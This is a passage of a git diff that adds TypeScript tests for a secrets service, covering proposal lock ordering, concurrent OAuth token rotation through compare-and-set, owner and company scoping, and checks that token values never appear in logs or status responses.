+    const liveSecret = await secretService(db).create(fixture.companyId, {
+      name: "dev/execution-lock-order/source",
+      key: "EXECUTION_LOCK_ORDER_SOURCE",
+      provider: "local_encrypted",
+      value: "execution-lock-order-secret",
+    });
+    const proposed = await request(createAgentApp(fixture))
+      .post("/api/agents/me/secret-proposals")
+      .send({
+        kind: "binding",
+        secretId: liveSecret.id,
+        configPath: "access.EXECUTION_LOCK_ORDER_ALIAS",
+        justification: "Verify execution result lock ordering",
+      });
+    expect(proposed.status).toBe(201);
+    await db.update(issueThreadInteractions)
+      .set({
+        status: "accepted",
+        result: { version: 1, outcome: "accepted" },
+        resolvedByUserId: "board-user",
+        resolvedAt: new Date(),
+      })
+      .where(eq(issueThreadInteractions.id, proposed.body.interactionId));
+
+    const releaseIssueLock = await holdIssueRowLock(fixture.issueId);
+
+    const recording = issueThreadInteractionService(db).recordSecretProposalExecutionResult(
+      { id: fixture.issueId, companyId: fixture.companyId },
+      proposed.body.interactionId,
+      proposed.body.id,
+      { status: "failed", errorCode: "permission_denied" },
+    );
+
+    try {
+      expect(await waitForBlockedForUpdate("issues")).toBe(true);
+      await expect(lockProposalNowait(proposed.body.id)).resolves.toBeUndefined();
+    } finally {
+      await releaseIssueLock();
+    }
+
+    await expect(recording).resolves.toMatchObject({
+      status: "accepted",
+      result: { secretProposal: { status: "failed", errorCode: "permission_denied" } },
+    });
+  });
+
+  it("keeps proposal and card consistent when approval races card rejection", async () => {
+    const fixture = await seedRun();
+    const liveSecret = await secretService(db).create(fixture.companyId, {
+      name: "dev/card-race/source",
+      key: "CARD_RACE_SOURCE",
+      provider: "local_encrypted",
+      value: "card-race-secret",
+    });
+    const proposed = await request(createAgentApp(fixture))
+      .post("/api/agents/me/secret-proposals")
+      .send({
+        kind: "binding",
+        secretId: liveSecret.id,
+        configPath: "access.CARD_RACE_ALIAS",
+        justification: "Exercise proposal and card lock ordering",
+      });
+    expect(proposed.status).toBe(201);
+
+    const [approval, rejection] = await Promise.allSettled([
+      request(createBoardApp(fixture))
+        .post(`/api/companies/${fixture.companyId}/secret-proposals/${proposed.body.id}/approve`)
+        .send({}),
+      issueThreadInteractionService(db).rejectInteraction(
+        { id: fixture.issueId, companyId: fixture.companyId, status: "in_progress" },
+        proposed.body.interactionId,
+        { reason: "Reject the racing request" },
+        { userId: "board-user" },
+      ),
+    ]);
+    expect(approval.status).toBe("fulfilled");
+    if (approval.status !== "fulfilled") throw approval.reason;
+    expect([200, 409]).toContain(approval.value.status);
+    expect(rejection.status).toBe(approval.value.status === 200 ? "rejected" : "fulfilled");
+
+    const [proposal] = await db.select().from(companySecretProposals)
+      .where(eq(companySecretProposals.id, proposed.body.id));
+    const [card] = await db.select().from(issueThreadInteractions)
+      .where(eq(issueThreadInteractions.id, proposed.body.interactionId));
+    if (proposal!.status === "approved") {
+      expect(card).toMatchObject({
+        status: "accepted",
+        result: { secretProposal: { status: "executed" } },
+      });
+    } else {
+      expect(proposal).toMatchObject({ status: "rejected" });
+      expect(card).toMatchObject({
+        status: "rejected",
+        result: { secretProposal: { status: "rejected" } },
+      });
+    }
+  });
+
   it("denies direct and cascade approval after a proposal expires", async () => {
     const fixture = await seedRun();
     const secretProposal = await request(createAgentApp(fixture))
@@ -723,6 +1407,9 @@ describeEmbeddedPostgres("secret proposal routes", () => {
         resolutionReason: `Dependent secret proposal ${secretProposal.body.id} was rejected`,
       }),
     ]));
+    expect(await db.select().from(issueThreadInteractions)).toEqual([
+      expect.objectContaining({ status: "rejected" }),
+    ]);
   });
 
   it("cascade-rejects pending binding proposals when their secret proposal is withdrawn", async () => {
diff --git a/server/src/__tests__/secrets-routes-claude-oauth-service.test.ts b/server/src/__tests__/secrets-routes-claude-oauth-service.test.ts
new file mode 100644
index 00000000000..8724ea11816
--- /dev/null
+++ b/server/src/__tests__/secrets-routes-claude-oauth-service.test.ts
@@ -0,0 +1,610 @@
+// The narrow Claude Code OAuth secret helper and the owner-bound compare-and-set
+// live in the secret service, not in a route. These tests exercise the real
+// service against an embedded Postgres database, so the partial unique index,
+// the expected-version predicate, and the session-id idempotency all run against
+// real constraints. The route-level tests stay in secrets-routes.test.ts, which
+// mocks the service and cannot exercise the database behavior.
+
+import { randomUUID } from "node:crypto";
+import { mkdirSync, rmSync } from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { afterAll, afterEach, beforeAll, describe, expect, it } from "vitest";
+import {
+  activityLog,
+  companies,
+  companyMemberships,
+  companySecretBindings,
+  companySecretVersions,
+  companySecrets,
+  createDb,
+  secretAccessEvents,
+  userSecretDeclarations,
+  userSecretDefinitions,
+} from "@paperclipai/db";
+import { and, eq } from "drizzle-orm";
+import { HttpError } from "../errors.js";
+import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js";
+import { secretService } from "../services/secrets.js";
+
+const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
+const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
+
+if (!embeddedPostgresSupport.supported) {
+  console.warn(
+    `Skipping Claude OAuth secret service tests on this host: ${embeddedPostgresSupport.reason ?? "unsupported environment"}`,
+  );
+}
+
+// The fixed key the narrow helper owns. A caller never selects it.
+const CLAUDE_KEY = "CLAUDE_CODE_OAUTH_TOKEN";
+const CLAUDE_NAME = "Claude Code OAuth token";
+
+describeEmbeddedPostgres("secretService Claude Code OAuth helper and compare-and-set", () => {
+  let stopDb: (() => Promise<void>) | null = null;
+  let db!: ReturnType<typeof createDb>;
+  const previousKeyFile = process.env.PAPERCLIP_SECRETS_MASTER_KEY_FILE;
+  const secretsTmpDir = path.join(os.tmpdir(), `paperclip-claude-oauth-${randomUUID()}`);
+
+  beforeAll(async () => {
+    mkdirSync(secretsTmpDir, { recursive: true });
+    process.env.PAPERCLIP_SECRETS_MASTER_KEY_FILE = path.join(secretsTmpDir, "master.key");
+    const started = await startEmbeddedPostgresTestDatabase("claude-oauth-secrets");
+    stopDb = started.cleanup;
+    db = createDb(started.connectionString);
+  });
+
+  afterEach(async () => {
+    await db.delete(activityLog);
+    await db.delete(secretAccessEvents);
+    await db.delete(userSecretDeclarations);
+    await db.delete(companySecretBindings);
+    await db.delete(companySecretVersions);
+    await db.delete(companySecrets);
+    await db.delete(userSecretDefinitions);
+    await db.delete(companyMemberships);
+    await db.delete(companies);
+  });
+
+  afterAll(async () => {
+    if (stopDb) await stopDb();
+    if (previousKeyFile === undefined) {
+      delete process.env.PAPERCLIP_SECRETS_MASTER_KEY_FILE;
+    } else {
+      process.env.PAPERCLIP_SECRETS_MASTER_KEY_FILE = previousKeyFile;
+    }
+    rmSync(secretsTmpDir, { recursive: true, force: true });
+  });
+
+  async function seedCompany(name = "Acme") {
+    const companyId = randomUUID();
+    await db.insert(companies).values({
+      id: companyId,
+      name,
+      issuePrefix: `T${companyId.slice(0, 7)}`.toUpperCase(),
+      status: "active",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    return companyId;
+  }
+
+  async function seedCompanyMember(companyId: string, userId: string) {
+    await db.insert(companyMemberships).values({
+      companyId,
+      principalType: "user",
+      principalId: userId,
+      status: "active",
+      membershipRole: "owner",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+  }
+
+  async function countVersions(secretId: string) {
+    const rows = await db
+      .select()
+      .from(companySecretVersions)
+      .where(eq(companySecretVersions.secretId, secretId));
+    return rows.length;
+  }
+
+  // --- the narrow secret-definition helper ------------------------
+
+  it("creates the fixed Claude OAuth definition with the compile-time key and fixed properties", async () => {
+    const companyId = await seedCompany();
+    await seedCompanyMember(companyId, "user-1");
+    const svc = secretService(db);
+
+    const definition = await svc.ensureClaudeOAuthUserSecretDefinition(companyId, { userId: "user-1", agentId: null });
+
+    expect(definition.key).toBe(CLAUDE_KEY);
+    expect(definition.name).toBe(CLAUDE_NAME);
+    expect(definition.provider).toBe("local_encrypted");
+    expect(definition.managedMode).toBe("paperclip_managed");
+    expect(definition.status).toBe("active");
+  });
+
+  it("reuses an exact compatible definition without a second row", async () => {
+    const companyId = await seedCompany();
+    await seedCompanyMember(companyId, "user-1");
+    const svc = secretService(db);
+
+    const first = await svc.ensureClaudeOAuthUserSecretDefinition(companyId);
+    const second = await svc.ensureClaudeOAuthUserSecretDefinition(companyId);
+
+    expect(second.id).toBe(first.id);
+    const rows = await db
+      .select()
+      .from(userSecretDefinitions)
+      .where(eq(userSecretDefinitions.companyId, companyId));
+    expect(rows).toHaveLength(1);
+  });
+
+  it("rejects a conflicting definition with 409 and does not mutate it", async () => {
+    const companyId = await seedCompany();
+    await seedCompanyMember(companyId, "user-1");
+    const svc = secretService(db);
+
+    // A pre-existing definition holds the fixed key but a different name. It is
+    // not the exact fixed shape, so the helper must reject it and leave it alone.
+    const conflicting = await svc.createUserSecretDefinition(companyId, {
+      key: CLAUDE_KEY,
+      name: "Some other Claude token",
+      provider: "local_encrypted",
+    });
+
+    await expect(svc.ensureClaudeOAuthUserSecretDefinition(companyId)).rejects.toMatchObject({ status: 409 });
+
+    const row = await db
+      .select()
+      .from(userSecretDefinitions)
+      .where(eq(userSecretDefinitions.id, conflicting.id))
+      .then((rows) => rows[0]);
+    expect(row?.name).toBe("Some other Claude token");
+  });
+
+  // --- the owner-bound compare-and-set ----------------------------
+
+  it("first_write creates the owner value and stores the session id", async () => {
+    const companyId = await seedCompany();
+    await seedCompanyMember(companyId, "user-1");
+    const svc = secretService(db);
+
+    const result = await svc.completeClaudeOAuthUserSecret(
+      companyId,
+      "user-1",
+      { sessionId: "session-a", mode: "first_write", value: "oauth-token-value" },
+      { userId: "user-1", agentId: null },
+    );
+
+    expect(result.secretId).toBeTruthy();
+    expect(result.latestVersion).toBe(1);
+    expect(await countVersions(result.secretId)).toBe(1);
+  });
+
+  it("first_write conflicts with 409 when a different session already wrote the owner value", async () => {
+    const companyId = await seedCompany();
+    await seedCompanyMember(companyId, "user-1");
+    const svc = secretService(db);
+
+    await svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+      sessionId: "session-a",
+      mode: "first_write",
+      value: "oauth-token-value",
+    });
+
+    await expect(
+      svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+        sessionId: "session-b",
+        mode: "first_write",
+        value: "another-token-value",
+      }),
+    ).rejects.toMatchObject({ status: 409 });
+  });
+
+  it("first_write is idempotent for the same session id and creates no new version", async () => {
+    const companyId = await seedCompany();
+    await seedCompanyMember(companyId, "user-1");
+    const svc = secretService(db);
+
+    const first = await svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+      sessionId: "session-a",
+      mode: "first_write",
+      value: "oauth-token-value",
+    });
+    const repeat = await svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+      sessionId: "session-a",
+      mode: "first_write",
+      value: "oauth-token-value",
+    });
+
+    expect(repeat.secretId).toBe(first.secretId);
+    expect(repeat.latestVersion).toBe(1);
+    expect(await countVersions(first.secretId)).toBe(1);
+  });
+
+  it("confirmed_rotation requires expectedSecretId and expectedLatestVersion", async () => {
+    const companyId = await seedCompany();
+    await seedCompanyMember(companyId, "user-1");
+    const svc = secretService(db);
+
+    await svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+      sessionId: "session-a",
+      mode: "first_write",
+      value: "oauth-token-value",
+    });
+
+    await expect(
+      svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+        sessionId: "session-b",
+        mode: "confirmed_rotation",
+        value: "rotated-token-value",
+      }),
+    ).rejects.toMatchObject({ status: 422 });
+  });
+
+  it("confirmed_rotation rotates to the next version when the expected version matches", async () => {
+    const companyId = await seedCompany();
+    await seedCompanyMember(companyId, "user-1");
+    const svc = secretService(db);
+
+    const first = await svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+      sessionId: "session-a",
+      mode: "first_write",
+      value: "oauth-token-value",
+    });
+
+    const rotated = await svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+      sessionId: "session-b",
+      mode: "confirmed_rotation",
+      value: "rotated-token-value",
+      expectedSecretId: first.secretId,
+      expectedLatestVersion: first.latestVersion,
+    });
+
+    expect(rotated.secretId).toBe(first.secretId);
+    expect(rotated.latestVersion).toBe(2);
+    expect(await countVersions(first.secretId)).toBe(2);
+  });
+
+  it("confirmed_rotation returns a fixed stale-confirmation 409 for a wrong expected version", async () => {
+    const companyId = await seedCompany();
+    await seedCompanyMember(companyId, "user-1");
+    const svc = secretService(db);
+
+    const first = await svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+      sessionId: "session-a",
+      mode: "first_write",
+      value: "oauth-token-value",
+    });
+    // A first confirmed rotation moves the value to version 2.
+    await svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+      sessionId: "session-b",
+      mode: "confirmed_rotation",
+      value: "rotated-token-value",
+      expectedSecretId: first.secretId,
+      expectedLatestVersion: 1,
+    });
+
+    // A later confirmation still carries the stale version 1 and must conflict.
+    await expect(
+      svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+        sessionId: "session-c",
+        mode: "confirmed_rotation",
+        value: "third-token-value",
+        expectedSecretId: first.secretId,
+        expectedLatestVersion: 1,
+      }),
+    ).rejects.toMatchObject({ status: 409 });
+
+    // The stale confirmation created no new version.
+    expect(await countVersions(first.secretId)).toBe(2);
+  });
+
+  it("confirmed_rotation is idempotent for the same session id and creates no new version", async () => {
+    const companyId = await seedCompany();
+    await seedCompanyMember(companyId, "user-1");
+    const svc = secretService(db);
+
+    const first = await svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+      sessionId: "session-a",
+      mode: "first_write",
+      value: "oauth-token-value",
+    });
+    const rotated = await svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+      sessionId: "session-b",
+      mode: "confirmed_rotation",
+      value: "rotated-token-value",
+      expectedSecretId: first.secretId,
+      expectedLatestVersion: 1,
+    });
+
+    const repeat = await svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+      sessionId: "session-b",
+      mode: "confirmed_rotation",
+      value: "rotated-token-value",
+      expectedSecretId: first.secretId,
+      expectedLatestVersion: 1,
+    });
+
+    expect(repeat.secretId).toBe(rotated.secretId);
+    expect(repeat.latestVersion).toBe(2);
+    expect(await countVersions(first.secretId)).toBe(2);
+  });
+
+  it("two concurrent confirmed rotations return one fixed stale 409 and add one version", async () => {
+    const companyId = await seedCompany();
+    await seedCompanyMember(companyId, "user-1");
+    const svc = secretService(db);
+
+    const first = await svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+      sessionId: "session-a",
+      mode: "first_write",
+      value: "oauth-token-value",
+    });
+    expect(first.latestVersion).toBe(1);
+
+    // Both confirmations read the same latest version 1 and both target the next
+    // version 2. The unique index on (secretId, version) lets one insert win. The
+    // loser must return the same fixed stale 409, not a raw database error.
+    const [a, b] = await Promise.allSettled([
+      svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+        sessionId: "session-b",
+        mode: "confirmed_rotation",
+        value: "rotated-token-b",
+        expectedSecretId: first.secretId,
+        expectedLatestVersion: 1,
+      }),
+      svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+        sessionId: "session-c",
+        mode: "confirmed_rotation",
+        value: "rotated-token-c",
+        expectedSecretId: first.secretId,
+        expectedLatestVersion: 1,
+      }),
+    ]);
+
+    const fulfilled = [a, b].filter((r) => r.status === "fulfilled");
+    const rejected = [a, b].filter((r) => r.status === "rejected");
+    expect(fulfilled).toHaveLength(1);
+    expect(rejected).toHaveLength(1);
+
+    // The loser returns the one fixed stale-confirmation 409. The text is the
+    // same for every stale race, so it discloses no owner-value state.
+    const loser = (rejected[0] as PromiseRejectedResult).reason;
+    expect(loser).toBeInstanceOf(HttpError);
+    expect((loser as HttpError).status).toBe(409);
+    expect((loser as HttpError).message).toContain("The Claude login confirmation is stale");
+
+    const winner = fulfilled[0] as PromiseFulfilledResult<{ latestVersion: number }>;
+    expect(winner.value.latestVersion).toBe(2);
+
+    // Only the two winning versions remain. The loser left no extra version row.
+    expect(await countVersions(first.secretId)).toBe(2);
+  });
+
+  it("normalizes a next-version unique collision to the fixed stale 409 and adds no row", async () => {
+    const companyId = await seedCompany();
+    await seedCompanyMember(companyId, "user-1");
+    const svc = secretService(db);
+
+    const first = await svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+      sessionId: "session-a",
+      mode: "first_write",
+      value: "oauth-token-value",
+    });
+    expect(first.latestVersion).toBe(1);
+
+    // Reproduce the exact race window. A concurrent winner inserted the next
+    // version row but has not yet committed its owner-bound compare-and-set, so
+    // the latest version still reads 1. A second confirmation that carries the
+    // same expected version 1 passes the pre-check, then hits the (secretId,
+    // version) unique index on its own insert. That one collision must return the
+    // fixed stale 409, not a raw database error.
+    await db.insert(companySecretVersions).values({
+      secretId: first.secretId,
+      version: 2,
+      material: {},
+      valueSha256: "placeholder-sha256",
+      fingerprintSha256: "placeholder-sha256",
+      status: "disabled",
+    });
+    expect(await countVersions(first.secretId)).toBe(2);
+
+    let caught: unknown;
+    try {
+      await svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+        sessionId: "session-b",
+        mode: "confirmed_rotation",
+        value: "rotated-token-value",
+        expectedSecretId: first.secretId,
+        expectedLatestVersion: 1,
+      });
+    } catch (error) {
+      caught = error;
+    }
+
+    expect(caught).toBeInstanceOf(HttpError);
+    expect((caught as HttpError).status).toBe(409);
+    expect((caught as HttpError).message).toContain("The Claude login confirmation is stale");
+
+    // The failed insert added no new row and did not advance the latest version.
+    expect(await countVersions(first.secretId)).toBe(2);
+    const row = await db
+      .select()
+      .from(companySecrets)
+      .where(eq(companySecrets.id, first.secretId))
+      .then((rows) => rows[0]);
+    expect(row?.latestVersion).toBe(1);
+  });
+
+  it("two concurrent first writes leave exactly one owner value through the partial unique index", async () => {
+    const companyId = await seedCompany();
+    await seedCompanyMember(companyId, "user-1");
+    const svc = secretService(db);
+
+    const [a, b] = await Promise.allSettled([
+      svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+        sessionId: "session-a",
+        mode: "first_write",
+        value: "token-a",
+      }),
+      svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+        sessionId: "session-b",
+        mode: "first_write",
+        value: "token-b",
+      }),
+    ]);
+
+    const fulfilled = [a, b].filter((r) => r.status === "fulfilled");
+    const rejected = [a, b].filter((r) => r.status === "rejected");
+    expect(fulfilled).toHaveLength(1);
+    expect(rejected).toHaveLength(1);
+
+    const values = await db
+      .select()
+      .from(companySecrets)
+      .where(and(eq(companySecrets.companyId, companyId), eq(companySecrets.scope, "user")));
+    expect(values).toHaveLength(1);
+  });
+
+  it("confirmed_rotation on a value from another owner returns not-found", async () => {
+    const companyId = await seedCompany();
+    await seedCompanyMember(companyId, "user-1");
+    await seedCompanyMember(companyId, "user-2");
+    const svc = secretService(db);
+
+    const owned = await svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+      sessionId: "session-a",
+      mode: "first_write",
+      value: "oauth-token-value",
+    });
+
+    // user-2 points at user-1's secret id. The owner-scoped lookup fails closed.
+    await expect(
+      svc.completeClaudeOAuthUserSecret(companyId, "user-2", {
+        sessionId: "session-b",
+        mode: "confirmed_rotation",
+        value: "rotated-token-value",
+        expectedSecretId: owned.secretId,
+        expectedLatestVersion: 1,
+      }),
+    ).rejects.toMatchObject({ status: 404 });
+  });
+
+  it("confirmed_rotation on a value from another company returns not-found", async () => {
+    const companyA = await seedCompany("Acme");
+    const companyB = await seedCompany("Globex");
+    await seedCompanyMember(companyA, "user-1");
+    await seedCompanyMember(companyB, "user-1");
+    const svc = secretService(db);
+
+    const owned = await svc.completeClaudeOAuthUserSecret(companyA, "user-1", {
+      sessionId: "session-a",
+      mode: "first_write",
+      value: "oauth-token-value",
+    });
+
+    await expect(
+      svc.completeClaudeOAuthUserSecret(companyB, "user-1", {
+        sessionId: "session-b",
+        mode: "confirmed_rotation",
+        value: "rotated-token-value",
+        expectedSecretId: owned.secretId,
+        expectedLatestVersion: 1,
+      }),
+    ).rejects.toBeInstanceOf(HttpError);
+  });
+
+  it("readClaudeOAuthUserSecretStatus returns the secret id and the version for the owner value", async () => {
+    const companyId = await seedCompany();
+    await seedCompanyMember(companyId, "user-1");
+    const svc = secretService(db);
+
+    const first = await svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+      sessionId: "session-a",
+      mode: "first_write",
+      value: "oauth-token-value",
+    });
+    const rotated = await svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+      sessionId: "session-b",
+      mode: "confirmed_rotation",
+      value: "rotated-token-value",
+      expectedSecretId: first.secretId,
+      expectedLatestVersion: 1,
+    });
+
+    const status = await svc.readClaudeOAuthUserSecretStatus(companyId, "user-1");
+    expect(status).toEqual({ secretId: first.secretId, latestVersion: rotated.latestVersion });
+    // The status carries no token value.
+    expect(JSON.stringify(status)).not.toContain("oauth-token-value");
+    expect(JSON.stringify(status)).not.toContain("rotated-token-value");
+  });
+
+  it("readClaudeOAuthUserSecretStatus returns null when the owner has no value", async () => {
+    const companyId = await seedCompany();
+    await seedCompanyMember(companyId, "user-1");
+    await seedCompanyMember(companyId, "user-2");
+    const svc = secretService(db);
+
+    // user-1 has a value; user-2 does not. The reader is owner-scoped, so it
+    // returns null for user-2 and the metadata for user-1.
+    await svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+      sessionId: "session-a",
+      mode: "first_write",
+      value: "oauth-token-value",
+    });
+
+    expect(await svc.readClaudeOAuthUserSecretStatus(companyId, "user-2")).toBeNull();
+    // No definition-only or empty company also returns null (the reader never
+    // creates the definition).
+    const emptyCompany = await seedCompany("Globex");
+    await seedCompanyMember(emptyCompany, "user-1");
+    expect(await svc.readClaudeOAuthUserSecretStatus(emptyCompany, "user-1")).toBeNull();
+  });
+
+  it("readClaudeOAuthUserSecretStatus is owner-scoped and company-scoped", async () => {
+    const companyA = await seedCompany("Acme");
+    const companyB = await seedCompany("Globex");
+    await seedCompanyMember(companyA, "user-1");
+    await seedCompanyMember(companyB, "user-1");
+    const svc = secretService(db);
+
+    await svc.completeClaudeOAuthUserSecret(companyA, "user-1", {
+      sessionId: "session-a",
+      mode: "first_write",
+      value: "oauth-token-value",
+    });
+
+    // The same user in another company has no value there.
+    expect(await svc.readClaudeOAuthUserSecretStatus(companyB, "user-1")).toBeNull();
+    // Another owner in the same company has no value.
+    await seedCompanyMember(companyA, "user-2");
+    expect(await svc.readClaudeOAuthUserSecretStatus(companyA, "user-2")).toBeNull();
+  });
+
+  it("keeps the token out of every activity detail", async () => {
+    const companyId = await seedCompany();
+    await seedCompanyMember(companyId, "user-1");
+    const svc = secretService(db);
+    const token = "super-secret-oauth-token";
+
+    const first = await svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+      sessionId: "session-a",
+      mode: "first_write",
+      value: token,
+    });
+    await svc.completeClaudeOAuthUserSecret(companyId, "user-1", {
+      sessionId: "session-b",
+      mode: "confirmed_rotation",
+      value: "rotated-secret-oauth-token",
+      expectedSecretId: first.secretId,
+      expectedLatestVersion: 1,
+    });
+
+    const activity = await db.select().from(activityLog);
+    expect(JSON.stringify(activity)).not.toContain(token);
+    expect(JSON.stringify(activity)).not.toContain("rotated-secret-oauth-token");
+  });
+});
diff --git a/server/src/__tests__/secrets-routes.test.ts b/server/src/__tests__/secrets-routes.test.ts
index aed40e872fb..91cb611f7ef 100644
--- a/server/src/__tests__/secrets-routes.test.ts
+++ b/server/src/__tests__/secrets-routes.test.ts
@@ -74,6 +74,48 @@ describe("secret routes", () => {
     mockLogActivity.mockReset();
   });
 
+  it("returns an opaque secretRef in agent secret metadata without internal binding details", async () => {
+    const secretId = "11111111-1111-4111-8111-111111111111";
+    mockSecretService.listAgentSecretAccess.mockResolvedValue([{
+      secretId,
+      bindingId: "22222222-2222-4222-8222-222222222222",
+      configPath: "env.OPENAI_API_KEY",
+      key: "openai_api_key",
+      name: "OpenAI API key",
+      description: "Used for model access",
+      delivery: "env",
+      projectionClass: "unclassified",
+      latestVersion: 3,
+      versionSelector: "latest",
+      resolvedVersion: 3,
+    }]);
+
+    const res = await request(createApp({
+      type: "agent",
+      agentId: "33333333-3333-4333-8333-333333333333",
+      companyId: "44444444-4444-4444-8444-444444444444",
+      runId: "55555555-5555-4555-8555-555555555555",
+      source: "agent_jwt",
+      keyScope: { kind: "standard" },
+    })).get("/api/agents/me/secrets");
+
+    expect(res.status).toBe(200);
+    expect(res.body.secrets).toEqual([{
+      secretRef: secretId,
+      key: "openai_api_key",
+      name: "OpenAI API key",
+      description: "Used for model access",
+      delivery: "env",
+      projectionClass: "unclassified",
+      latestVersion: 3,
+      versionSelector: "latest",
+      resolvedVersion: 3,
+    }]);
+    expect(res.body.secrets[0]).not.toHaveProperty("secretId");
+    expect(res.body.secrets[0]).not.toHaveProperty("bindingId");
+    expect(res.body.secrets[0]).not.toHaveProperty("configPath");
+  });
+
   it("returns provider health checks for board callers with company access", async () => {
     mockSecretService.checkProviders.mockResolvedValue([
       {
diff --git a/server/src/__tests__/secrets-service-dangling-user-secret.test.ts b/server/src/__tests__/secrets-service-dangling-user-secret.test.ts
new file mode 100644
index 00000000000..ed4b311bfc9
--- /dev/null
+++ b/server/src/__tests__/secrets-service-dangling-user-secret.test.ts
@@ -0,0 +1,190 @@
+import { randomUUID } from "node:crypto";
+import { mkdirSync, rmSync } from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { afterAll, afterEach, beforeAll, describe, expect, it } from "vitest";
+import {
+  activityLog,
+  companies,
+  companyMemberships,
+  companySecretBindings,
+  companySecretVersions,
+  companySecrets,
+  createDb,
+  secretAccessEvents,
+  userSecretDeclarations,
+  userSecretDefinitions,
+} from "@paperclipai/db";
+import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js";
+import { secretService } from "../services/secrets.js";
+
+const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
+const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
+
+if (!embeddedPostgresSupport.supported) {
+  console.warn(
+    `Skipping dangling user-secret tests on this host: ${embeddedPostgresSupport.reason ?? "unsupported environment"}`,
+  );
+}
+
+// A user can delete a user-secret definition while an agent config still
+// references it. Later, a direct-resolution path (Test or save) resolves that
+// dangling `user_secret_ref` binding and fails. These tests assert the failure
+// names the environment variable, the agent id, and the unresolved definition
+// key, and that it never leaks a secret value.
+describeEmbeddedPostgres("secretService dangling user_secret_ref resolution", () => {
+  let stopDb: (() => Promise<void>) | null = null;
+  let db!: ReturnType<typeof createDb>;
+  const previousKeyFile = process.env.PAPERCLIP_SECRETS_MASTER_KEY_FILE;
+  const secretsTmpDir = path.join(os.tmpdir(), `paperclip-dangling-secret-${randomUUID()}`);
+
+  beforeAll(async () => {
+    mkdirSync(secretsTmpDir, { recursive: true });
+    process.env.PAPERCLIP_SECRETS_MASTER_KEY_FILE = path.join(secretsTmpDir, "master.key");
+    const started = await startEmbeddedPostgresTestDatabase("dangling-user-secret");
+    stopDb = started.cleanup;
+    db = createDb(started.connectionString);
+  });
+
+  afterEach(async () => {
+    await db.delete(activityLog);
+    await db.delete(secretAccessEvents);
+    await db.delete(userSecretDeclarations);
+    await db.delete(companySecretBindings);
+    await db.delete(companySecretVersions);
+    await db.delete(companySecrets);
+    await db.delete(userSecretDefinitions);
+    await db.delete(companyMemberships);
+    await db.delete(companies);
+  });
+
+  afterAll(async () => {
+    if (stopDb) await stopDb();
+    if (previousKeyFile === undefined) {
+      delete process.env.PAPERCLIP_SECRETS_MASTER_KEY_FILE;
+    } else {
+      process.env.PAPERCLIP_SECRETS_MASTER_KEY_FILE = previousKeyFile;
+    }
+    rmSync(secretsTmpDir, { recursive: true, force: true });
+  });
+
+  async function seedCompany(name = "Acme") {
+    const companyId = randomUUID();
+    await db.insert(companies).values({
+      id: companyId,
+      name,
+      issuePrefix: `T${companyId.slice(0, 7)}`.toUpperCase(),
+      status: "active",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    return companyId;
+  }
+
+  async function seedCompanyMember(companyId: string, userId: string) {
+    await db.insert(companyMemberships).values({
+      companyId,
+      principalType: "user",
+      principalId: userId,
+      status: "active",
+      membershipRole: "owner",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+  }
+
+  it("save path (syncEnvBindingsForTarget) names the env variable, the agent id, and the deleted definition key", async () => {
+    const companyId = await seedCompany();
+    await seedCompanyMember(companyId, "user-1");
+    const svc = secretService(db);
+    const definition = await svc.createUserSecretDefinition(companyId, {
+      key: "github_token",
+      name: "GitHub token",
+      provider: "local_encrypted",
+    });
+
+    // Delete the definition, then keep an agent config that still references it.
+    await svc.removeUserSecretDefinition(companyId, definition.id);
+
+    const agentId = randomUUID();
+    const envValue = {
+      GH_TOKEN: {
+        type: "user_secret_ref" as const,
+        key: "github_token",
+        version: "latest" as const,
+        required: true,
+      },
+    };
+
+    await expect(
+      svc.syncEnvBindingsForTarget(companyId, { targetType: "agent", targetId: agentId }, envValue),
+    ).rejects.toMatchObject({
+      status: 404,
+      message: expect.stringContaining("User secret definition not found"),
+    });
+
+    // The message must name the env variable, the agent id, and the definition key.
+    const error = await svc
+      .syncEnvBindingsForTarget(companyId, { targetType: "agent", targetId: agentId }, envValue)
+      .catch((caught: unknown) => caught as Error);
+    expect(error).toBeInstanceOf(Error);
+    expect(error.message).toContain('environment variable "GH_TOKEN"');
+    expect(error.message).toContain(`agent ${agentId}`);
+    expect(error.message).toContain('definition key "github_token"');
+  });
+
+  it("Test path (resolveUserSecretValue) names the env variable, the agent id, and the deleted definition key without leaking the value", async () => {
+    const companyId = await seedCompany();
+    await seedCompanyMember(companyId, "user-1");
+    const svc = secretService(db);
